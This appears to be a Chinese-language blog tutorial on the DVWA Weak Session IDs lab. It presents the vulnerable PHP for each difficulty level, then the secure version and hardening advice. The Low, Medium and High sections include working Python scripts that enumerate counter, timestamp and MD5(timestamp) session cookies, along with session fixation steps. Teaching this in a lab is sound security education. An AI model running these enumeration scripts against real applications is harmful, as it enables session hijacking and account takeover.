0%

DVWA - Weak Session IDs (弱会话ID) 攻防练习详解

目录


漏洞简介

什么是Weak Session IDs(弱会话ID)?

Session ID是服务器用来识别用户会话的唯一标识符。弱会话ID是指可预测、容易猜测或破解的会话标识符。

Session的作用:

  • 在HTTP无状态协议中维持用户状态
  • 识别已登录用户
  • 存储用户会话数据

危害:

  • 会话劫持(Session Hijacking)
  • 会话固定(Session Fixation)
  • 未授权访问
  • 账户接管
  • 身份伪装

弱Session ID的特征:

  • 可预测(如连续递增)
  • 熵值太低(如只有数字)
  • 基于时间戳
  • 短长度
  • 不随机

Low 难度

攻击目标

使用简单的计数器作为Session ID,完全可预测。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

// ★★★ 危险操作:使用简单计数器作为Session ID ★★★
// 检查cookie中是否有dvwaSession
if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

// ★★★ 初始化:从0开始计数 ★★★
// 第一个用户:dvwaSession=0
// 第二个用户:dvwaSession=1
// 第三个用户:dvwaSession=2
// ...
// 完全可预测!
$last_session_id = 0;

// ★★★ 尝试读取上一个Session ID ★★★
// 从文件中读取最后使用的Session ID
// __DIR__ - 当前文件所在目录
// DIRECTORY_SEPARATOR - 目录分隔符
// sessionid.txt - 存储Session ID的文件
$sessionid_path = __DIR__ . DIRECTORY_SEPARATOR . 'sessionid.txt';

// file_exists() - 检查文件是否存在
if( file_exists( $sessionid_path ) ) {

// ★★★ 读取上一个Session ID ★★★
// file_get_contents() - 读取文件内容
// intval() - 将字符串转换为整数
$last_session_id = intval( file_get_contents( $sessionid_path ) );
}

// ★★★ 生成新的Session ID:简单递增 ★★★
// 新Session ID = 上一个ID + 1
// 问题:完全可预测!
$session_id = ++$last_session_id;

// ★★★ 保存新的Session ID到文件 ★★★
// file_put_contents() - 将内容写入文件
file_put_contents( $sessionid_path, $session_id );

// ★★★ 设置Cookie ★★★
// setcookie() - 设置Cookie
// 参数1:Cookie名称
// 参数2:Cookie值
// 参数3:过期时间(0表示会话结束时删除)
// 参数4:Cookie路径
//
// 问题:
// 1. Session ID完全可预测
// 2. 没有HttpOnly标志(可被JavaScript读取)
// 3. 没有Secure标志(可通过HTTP传输)
setcookie( "dvwaSession", $session_id, 0, "/" );
}

// 显示当前Session ID
$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

漏洞分析

Session ID生成方式:

1
2
3
4
5
6
用户1:dvwaSession = 0
用户2:dvwaSession = 1
用户3:dvwaSession = 2
用户4:dvwaSession = 3
...
用户N:dvwaSession = N-1

核心问题:

  1. 完全可预测 - 简单递增
  2. 低熵值 - 只是数字
  3. 易于暴力破解 - 从0开始尝试
  4. 无安全标志 - 无HttpOnly、Secure
  5. 存储在文件 - 不安全

攻击步骤

步骤1:观察Session ID模式

测试:

  1. 清除Cookie
  2. 访问DVWA的Weak Session IDs页面
  3. 记录你的Session ID(例如:15)
  4. 清除Cookie,再次访问
  5. 记录新的Session ID(例如:16)
  6. 重复几次

发现:Session ID连续递增!

步骤2:枚举其他用户的Session

Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
'security': 'low',
'PHPSESSID': '你的PHPSESSID'
}

# 假设当前Session ID是100
# 枚举前后的Session ID
for session_id in range(90, 110):
cookies = cookies_base.copy()
cookies['dvwaSession'] = str(session_id)

response = requests.get(url, cookies=cookies)

print(f"[*] Testing dvwaSession={session_id}")
# 检查是否能访问
if response.status_code == 200:
print(f"[+] Session {session_id} is valid!")

步骤3:会话劫持

场景:

  1. 攻击者获知受害者的Session ID(通过XSS、网络嗅探等)
  2. 或者通过枚举猜测Session ID
  3. 使用该Session ID访问应用
  4. 冒充受害者身份

使用Burp Suite:

  1. 拦截请求
  2. 修改Cookie中的dvwaSession值
  3. 尝试不同的数字
  4. 找到有效的Session

步骤4:会话固定攻击

攻击流程:

  1. 攻击者清除Cookie,访问DVWA
  2. 记录自己的dvwaSession(例如:50)
  3. 诱导受害者使用这个Session(发送链接)
  4. 受害者使用dvwaSession=50登录
  5. 攻击者也使用dvwaSession=50访问
  6. 攻击者获得受害者的权限

Medium 难度

攻击目标

使用时间戳作为Session ID,仍然可预测。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

// ★★★ 使用时间戳作为Session ID ★★★
// time() - 返回当前Unix时间戳(从1970-01-01 00:00:00 UTC到现在的秒数)
//
// 问题:
// 1. 时间戳是可预测的
// 2. 攻击者知道大致的时间范围
// 3. 只需要在时间窗口内枚举
$session_id = time();

// 设置Cookie
setcookie( "dvwaSession", $session_id, 0, "/" );
}

$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

新增防护

使用时间戳替代简单计数器

仍存在的漏洞

核心问题:

时间戳仍然是可预测的!

1
2
3
4
2024-11-20 22:00:001700503200
2024-11-20 22:00:011700503201
2024-11-20 22:00:021700503202
...

攻击者可以:

  1. 知道大致的时间范围
  2. 在这个范围内枚举(±几分钟)
  3. 找到有效的Session ID

绕过方法

方法1:时间窗口枚举

Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
'security': 'medium',
'PHPSESSID': '你的PHPSESSID'
}

# 获取当前时间戳
current_time = int(time.time())

# 枚举前后5分钟的时间戳(300秒)
for offset in range(-300, 300):
session_id = current_time + offset

cookies = cookies_base.copy()
cookies['dvwaSession'] = str(session_id)

response = requests.get(url, cookies=cookies)

if "valid session" in response.text.lower():
print(f"[+] Found valid session: {session_id}")
print(f" Timestamp: {time.ctime(session_id)}")

方法2:已知用户登录时间

如果知道用户的登录时间(如:2024-11-20 15:30:00),可以:

1
2
3
4
5
6
7
8
9
10
11
12
import datetime
import time

# 已知登录时间
login_time = datetime.datetime(2024, 11, 20, 15, 30, 0)
timestamp = int(login_time.timestamp())

# 在前后1分钟内枚举
for offset in range(-60, 60):
session_id = timestamp + offset
# 测试这个Session ID
print(f"Trying: {session_id}")

High 难度

攻击目标

使用MD5哈希,但基于时间戳,仍可预测。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( !isset( $_COOKIE[ 'dvwaSession' ] ) ) {

// ★★★ 使用MD5哈希时间戳 ★★★
// time() - 当前时间戳
// md5() - MD5哈希函数
//
// 例如:
// time() = 1700503200
// md5(1700503200) = "8e296a067a37563370ded05f5a3bf3ec"
//
// 问题:
// 1. 虽然看起来随机,但基础数据(时间戳)是可预测的
// 2. 攻击者可以预计算时间范围内的所有MD5值
// 3. 然后枚举测试
$session_id = md5( time() );

setcookie( "dvwaSession", $session_id, 0, "/" );
}

$cookie_value = $_COOKIE[ 'dvwaSession' ];

?>

新增防护

使用MD5哈希时间戳

仍存在的漏洞

核心问题:

虽然使用了MD5,但输入源(时间戳)是可预测的!

攻击原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 预计算MD5
import hashlib
import time

current = int(time.time())

# 生成前后5分钟的所有MD5值
md5_dict = {}
for offset in range(-300, 300):
timestamp = current + offset
md5_hash = hashlib.md5(str(timestamp).encode()).hexdigest()
md5_dict[md5_hash] = timestamp

# 现在有了MD5 → 时间戳的映射
# 可以用这个字典枚举Session ID

绕过方法

方法:预计算MD5字典

完整攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import hashlib
import time

url = "http://dvwa.local/dvwa/vulnerabilities/weak_id/"
cookies_base = {
'security': 'high',
'PHPSESSID': '你的PHPSESSID'
}

# 获取当前时间
current_time = int(time.time())

print("[*] Generating MD5 dictionary...")

# 生成前后10分钟的MD5字典(600秒)
md5_list = []
for offset in range(-600, 600):
timestamp = current_time + offset
md5_hash = hashlib.md5(str(timestamp).encode()).hexdigest()
md5_list.append((md5_hash, timestamp))

print(f"[*] Generated {len(md5_list)} MD5 hashes")
print("[*] Testing Session IDs...")

# 枚举测试
for md5_hash, timestamp in md5_list:
cookies = cookies_base.copy()
cookies['dvwaSession'] = md5_hash

response = requests.get(url, cookies=cookies)

if "valid" in response.text.lower():
print(f"[+] Found valid session!")
print(f" Session ID: {md5_hash}")
print(f" Timestamp: {timestamp} ({time.ctime(timestamp)})")
break

# 避免请求太快
time.sleep(0.1)

优化:多线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import threading
import queue

def worker(q, results):
while True:
try:
md5_hash, timestamp = q.get(timeout=1)

cookies = cookies_base.copy()
cookies['dvwaSession'] = md5_hash

response = requests.get(url, cookies=cookies)

if "valid" in response.text.lower():
results.append((md5_hash, timestamp))

q.task_done()
except queue.Empty:
break

# 创建队列和线程
q = queue.Queue()
results = []

# 添加任务到队列
for md5_hash, timestamp in md5_list:
q.put((md5_hash, timestamp))

# 启动10个线程
threads = []
for i in range(10):
t = threading.Thread(target=worker, args=(q, results))
t.start()
threads.append(t)

# 等待完成
q.join()

for t in threads:
t.join()

print(f"[+] Found {len(results)} valid sessions")

Impossible 难度

攻击目标

使用PHP内置的安全Session机制,无法预测。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

// ★★★ 使用PHP内置的Session机制 ★★★
// session_start() - 启动或恢复会话
//
// PHP会:
// 1. 生成强随机的Session ID(使用CSPRNG)
// 2. Session ID长度:32字符(128位熵)
// 3. 使用字母数字:0-9, a-z(36个字符)
// 4. 总可能性:36^32 ≈ 6.3 × 10^49
//
// 例如:
// PHPSESSID = "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6"
//
// 特点:
// - 密码学安全的随机数生成器
// - 高熵值(128位)
// - 完全不可预测
// - 暴力破解在计算上不可行
session_start();

// ★★★ 获取Session ID ★★★
// session_id() - 返回当前Session ID
// 这个ID是由PHP自动生成和管理的
$cookie_value = session_id();

?>

完善的防护机制

PHP Session ID特性:

  1. 强随机性

    • 使用CSPRNG(密码学安全伪随机数生成器)
    • 不可预测
  2. 高熵值

    • 32字符长度
    • 128位熵
    • 36^32种可能性
  3. 自动管理

    • PHP自动处理Session
    • 安全的默认配置
  4. 安全选项

    1
    2
    3
    4
    5
    // 可以进一步加强
    ini_set('session.cookie_httponly', 1); // HttpOnly
    ini_set('session.cookie_secure', 1); // Secure
    ini_set('session.use_only_cookies', 1); // 只使用Cookie
    ini_set('session.cookie_samesite', 'Strict'); // SameSite

为什么无法攻破?

暴力破解计算:

1
2
3
4
5
6
7
8
9
10
11
12
Session ID长度:32字符
字符集:0-9, a-z(36个字符)
可能性:36^326.3 × 10^49

假设:
- 每秒测试100万个Session ID
- 需要时间:6.3 × 10^49 / 10^66.3 × 10^43
- 转换为年:≈ 2 × 10^36

宇宙年龄:约 1.4 × 10^10

暴力破解在计算上完全不可行!

所有攻击都失败:

1
2
3
4
5
6
7
8
9
10
11
尝试1:枚举连续数字
结果:Session ID不是数字,是随机字符串

尝试2:基于时间预测
结果:Session ID与时间无关

尝试3:MD5字典
结果:Session ID不是基于简单哈希

尝试4:暴力破解
结果:计算上不可行(需要宇宙年龄的10^26倍)

防御建议

代码层面

1. 使用PHP内置Session(推荐)

1
2
3
4
5
// 启动Session
session_start();

// PHP会自动生成安全的Session ID
$session_id = session_id();

2. 配置Session安全选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// php.ini 或运行时配置

// 使用HttpOnly(防止JavaScript读取)
ini_set('session.cookie_httponly', 1);

// 使用Secure(只通过HTTPS传输)
ini_set('session.cookie_secure', 1);

// 只使用Cookie(不在URL中传递)
ini_set('session.use_only_cookies', 1);

// 禁止透明Session ID
ini_set('session.use_trans_sid', 0);

// SameSite属性(防CSRF)
ini_set('session.cookie_samesite', 'Strict');

// Session名称(不使用默认PHPSESSID)
session_name('MyApp_Session');

// 自定义Session保存路径
session_save_path('/path/to/secure/directory');

3. 定期更新Session ID

1
2
3
4
5
6
7
8
9
10
// 登录后更新Session ID(防Session Fixation)
session_start();
if ($user_authenticated) {
session_regenerate_id(true); // true表示删除旧Session
}

// 敏感操作前更新
if ($critical_operation) {
session_regenerate_id(true);
}

4. 添加额外的安全检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
session_start();

// 绑定到IP地址(可选,可能影响移动用户)
if (!isset($_SESSION['ip'])) {
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
} elseif ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
// IP changed, destroy session
session_destroy();
die('Session hijacking detected');
}

// 绑定到User-Agent
if (!isset($_SESSION['user_agent'])) {
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
} elseif ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
session_destroy();
die('Session hijacking detected');
}

// Session超时
$timeout = 30 * 60; // 30分钟
if (isset($_SESSION['last_activity']) &&
(time() - $_SESSION['last_activity']) > $timeout) {
session_destroy();
die('Session expired');
}
$_SESSION['last_activity'] = time();

5. 自定义Session ID生成器(高级)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 如果需要自定义Session ID
function generate_secure_session_id() {
// 使用random_bytes()生成强随机数
$random_bytes = random_bytes(32);

// 转换为十六进制字符串
$session_id = bin2hex($random_bytes);

return $session_id;
}

// 设置自定义ID
session_id(generate_secure_session_id());
session_start();

框架层面

Laravel示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Laravel自动管理Session,非常安全

// 配置文件:config/session.php
return [
'driver' => 'database', // 或 'redis', 'memcached'
'lifetime' => 120,
'expire_on_close' => false,
'encrypt' => true,
'http_only' => true,
'secure' => true,
'same_site' => 'strict',
];

// 使用
session(['key' => 'value']);
$value = session('key');

// 更新Session ID
session()->regenerate();

监控和日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 记录Session活动
function log_session_activity() {
$log = [
'session_id' => session_id(),
'user_id' => $_SESSION['user_id'] ?? 'anonymous',
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'timestamp' => time(),
];

file_put_contents(
'session_log.txt',
json_encode($log) . "\n",
FILE_APPEND
);
}

总结对比

特性 Low Medium High Impossible
生成方式 递增计数器 时间戳 MD5(时间戳) PHP Session
可预测性 完全可预测 高度可预测 可预测 不可预测
熵值 极低 高(128位)
长度 1-4位 10位 32字符 32字符
字符集 数字 数字 十六进制 字母数字
暴力破解 秒级 分钟级 小时级 不可行
安全标志 ✅(可配置)
攻击难度 极易 简单 中等 极难

常用攻击技巧

Session劫持

1
2
3
4
5
# 枚举Session ID
for session_id in range(0, 1000):
cookies = {'dvwaSession': str(session_id)}
response = requests.get(url, cookies=cookies)
# 检查响应

Session固定

1
2
3
4
1. 攻击者获取Session ID:ABC123
2. 发送链接给受害者:http://site.com/?session_id=ABC123
3. 受害者登录(使用ABC123)
4. 攻击者使用ABC123访问(现在是已登录状态)

时间窗口攻击

1
2
3
4
5
6
# 针对基于时间的Session
import time
current = int(time.time())
for offset in range(-300, 300):
test_session = current + offset
# 或 md5(test_session)

实战建议

学习路径:

  1. Low难度 - 理解递增Session的危险
  2. Medium难度 - 学习时间窗口枚举
  3. High难度 - 掌握预计算攻击
  4. Impossible难度 - 理解强随机Session

攻击技巧:

  • 观察Session ID模式
  • 使用Python脚本自动化
  • 多线程加速枚举
  • 预计算常见哈希

防御重点:

  • 使用PHP内置Session
  • 配置安全选项(HttpOnly, Secure)
  • 定期更新Session ID
  • 绑定IP/User-Agent(可选)
  • 设置超时

道德准则:

  • 只在授权环境测试
  • 不窃取他人Session
  • 学习是为了构建安全系统
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels